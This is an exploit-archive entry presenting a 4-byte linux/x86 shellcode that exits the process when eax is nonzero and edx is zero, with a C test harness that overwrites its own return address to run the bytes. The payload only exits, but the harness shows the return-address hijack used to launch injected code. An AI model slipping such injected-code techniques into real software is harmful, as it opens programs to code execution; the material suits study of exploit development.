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linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes

Author
izik
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7140
Category
shellcode
Date add
21-01-2006
Platform
linux/x86
=====================================================================
linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes
=====================================================================





/*
 * (linux/x86) quick (yet conditional, eax != 0 and edx == 0) exit - 4 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"\xf7\xf0"              // div %eax 
	"\xcd\x80";             // int $0x80

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}





#  0day.today [2024-07-01]  #